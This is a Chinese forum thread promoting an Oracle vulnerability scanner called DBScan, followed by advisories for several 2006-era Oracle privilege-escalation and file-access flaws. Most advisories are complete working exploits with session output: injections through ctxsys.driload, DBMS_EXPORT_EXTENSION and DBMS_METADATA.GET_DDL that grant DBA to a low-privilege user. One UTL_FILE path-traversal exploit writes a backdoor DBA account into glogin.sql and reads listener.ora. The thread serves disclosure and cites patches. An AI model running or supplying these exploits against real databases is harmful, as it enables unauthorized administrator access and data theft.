◆Oracle漏洞检测系统--DBScan◆(200分)

  • 主题发起人 主题发起人 quark
  • 开始时间 开始时间
Q

quark

Unregistered / Unconfirmed
GUEST, unregistred user!
◆Oracle漏洞检测系统--DBScan◆
DBSafe小组推出的DBScan for Oracle,目前可检测Oracle的200多种安全漏洞,包括弱口令、权限提升、拒绝服务攻击等。
测试版下载: http://www.dbscan.cn/down/scyths.rar
感兴趣的朋友可以下载来测试一下。
提供建议的都有至少200分相送,分不够另外开贴,先谢了!
功能特点:
◆ DBScan使用的是基于B/S的管理方式,用户使用浏览器通过128位SSLv3加密通道和系统Web界面模块进行交互,方便用户管理。
◆ 提供Open VM(Open Vulnerability Management 开放漏洞管理)工作流程平台,将先进的数据库安全管理理念贯穿整个产品实现过程中。
◆ DBScan是基于Internet/Intranet的网络化结构,检测的数据库服务器IP地址由检测人员自行定义,只要网络连通即可进行检测。
◆ 客户端与服务端通信采用ZLIB压缩技术,通信数据流量只为压缩前数据流量的20%。
◆ 完善的数据库安全检测引擎,支持大规模并发检测,对于大型的机构和组织,拥有众多的数据库服务器,这些服务器可能分布在不同的机房、数据中心,安装着不同的操作系统,DBScan可以简单的只需输入服务器IP地址,即可由检测引擎完成大量的人工手段无法完成的复杂检测工作并生成详细的检测报告。
◆ 全面支持国际安全组织CVE(Common Vulnerabilities &
Exposures,通用漏洞披露)标准漏洞库,所有漏洞数据均取自CVE,保证100%兼容。
◆ 全面支持CVSS漏洞评分标准,检测报告累计计算CVSS总得分,分值越大,风险越大。
 
[red]“安全无边界,数据库安全才是真正的安全!”[/red]
欢迎访问: http://www.dbscan.cn
 
关注数据库安全的还不是很多,在这个帖子里我会陆续介绍一些数据库的漏洞和可能造成的风险,希望此贴不沉。
Oracle中ctxsys.driload 提升权限漏洞
影响平台:Windows,UNIX
攻击需求:必须取得帐号
造成危害:取得管理员权限
内容描述:Oracle9i Database Servers v9.0.1.3, 9.2.0.4及Oracle8i Database Server v8.1.7.4存在存取确认弱点, ctxsys.driload package允许用户以DBA权限执行命令,通过验证的用户可以利用此弱点取得管理员权限.
用scott/tiger登陆,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
测试代码:
sqlplus scott/tiger@orcl
1.查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
2.利用漏洞执行权限提升
SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');
begin
ctxsys.driload.validate_stmt('grant dba to scott');
end;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
sqlplus中显示执行错误,但是实际上已经提升权限成功了。
3.断开连接
SQL> disc;
4.重新连接
SQL> conn scott/tiger@orcl;
5.再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
这个漏洞在oracle 8/9中普遍存在。
 
【漏洞编号】 CVE-2006-1870
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】 Oracle 8i / 9i / 10g / XE
【风险等级】 高
【攻击需求】 较低权限账号
【造成危害】 取得管理员权限
【内容描述】
Oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,由于DBMS_EXPORT_EXTENSION package中的GET_DOMAIN_INDEX_METADATA程序存在漏洞远端攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。
【测试代码】
1、用scott/tiger登陆Oracle,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升
SQL>
-- Create a function in a package first and inject this function. The function will be executed as user SYS.
CREATE OR REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
end;
/
CREATE OR REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
begin
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
end;

end;
/
-- Inject the function in dbms_export_extension
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
begin
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '9.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => INDEX_NAME,
INDEX_SCHEMA => INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
end;
/
sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。
4、断开连接
SQL> disc;
5、重新连接
SQL> conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
【修补方式】

参考Oracle Critical Patch Update - April 2006,执行修补.

【相关连结】
◇、Oracle Critical Patch Update - April 2006
http://www.oracle.com/technology/deploy/security/pdf/cpuapr2006.html
◇、US-CERT Technical Cyber Security Alert TA06-109A
http://www.us-cert.gov/cas/techalerts/TA06-109A.html
◇、US-CERT Vulnerability Note VU#452681
http://www.kb.cert.org/vuls/id/452681
◇、BugTraq Mailing List-"Oracle10g 10.2.0.2.0 DBA exploit"
http://archives.neohapsis.com/archives/bugtraq/2006-04/0375.html
◇、BugTraq Mailing List-"Recent Oracle exploitis_actually_an 0day with no patch"
http://archives.neohapsis.com/archives/bugtraq/2006-04/0539.html
【发布日期】 2006-04-29
 
【漏洞编号】 CVE-2006-0260
【漏洞名称】 sys.dbms_metadata.get_ddl 提升权限漏洞
【影响平台】 Oracle 9i / 10g
【风险等级】 高
【攻击需求】 较低权限账号
【造成危害】 取得管理员权限
【内容描述】
Oracle Database server 9.2.0.7 and 10.1.0.5存在SQL注入弱点, sys.dbms_metadata.get_ddl允许用户以DBA权限执行命令,通过验证的用户可以利用此弱点取得管理员权限。
【测试代码】
1、用scott/tiger登陆Oracle,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升,在SQLPlus中执行如下语句:
SQL>
-- Create a function first and inject this function. The function will be executed as user SYS.
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
begin
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
end;
/
-- Inject the function in the vulnerable procedure
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
错误:
ORA-31600: invalid input value '||SCOTT.ATTACK_FUNC()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
sqlplus中显示执行错误,但是实际上已经提升权限成功了。
4、断开连接
SQL> disc;
5、重新连接
SQL> conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
【修补方式】

Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.
【相关连结】
◇、16287
http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html
◇、VU#545804
http://www.kb.cert.org/vuls/id/545804
◇、ADV-2006-0243
http://www.frsirt.com/english/advisories/2006/0243
◇、18493
http://secunia.com/advisories/18493
◇、ADV-2006-0323
http://www.frsirt.com/english/advisories/2006/0323
◇、18608
http://secunia.com/advisories/18608
◇、1015499
http://securitytracker.com/id?1015499
◇、22543
http://www.osvdb.org/22543
◇、22643
http://www.osvdb.org/22643
◇、22637
http://www.osvdb.org/22637
◇、oracle-january2006-update(24321)
http://xforce.iss.net/xforce/xfdb/24321
【发布日期】 2006-01-18
【更新日期】 2006-05-02
 
【确保没有其他程序占用80和443端口】
建议端口号可以在程序中设置
 
在config.ini中可自行手工修改,如果进入程序后,在页面-->选项中也可以修改
 
关于数据库安全的话题太枯燥,关注的人不多,以后每周发布一次(个)安全漏洞,大家留下些印象也好。
【漏洞名称】 sys.utl_file 读写文件漏洞
【影响平台】 Oracle 8 / 8i / 9i
【风险等级】 中
【攻击需求】 拥有CREATE ANY DIRECTORY权限账号
【造成危害】 读取文件、重命名文件
【内容描述】
Oracle Database Server 8i and 9i 允许远程攻击者通过特殊构造的函数("//.//..")读取或重命名文件。
【测试代码】
--Create a file mytextfile.txt in the same directory referenced by MEDIA_DIR directory object.
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','//.//..//.//..//.//..//.//..//.//..//.//glogin.sql','w',1000);
UTL_FILE.PUT_LINE (f,'CREATE USER HACKER IDENTIFIED BY HACKER;',TRUE);
UTL_FILE.PUT_LINE (f,'GRANT DBA TO HACKER;',TRUE);
UTL_FILE.FCLOSE(f);
end;

--Read arbitrary files in the same drive as the directory referenced by MEDIA_DIR directory object.
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','//.//..//.//..//.//..//.//..//.//..//.//oracle/ora92/network/ADMIN/listener.ora','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;

--Rename any file in the same drive as the directory referenced by MEDIA_DIR directory object
begin
UTL_FILE.frename('MEDIA_DIR','//.//..//.//..//.//myoldtextfile.txt','MEDIA_DIR','//.//..//.//..//.//mynewtextfile.txt',TRUE);
end;

【修补方式】

Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.
 
后退
顶部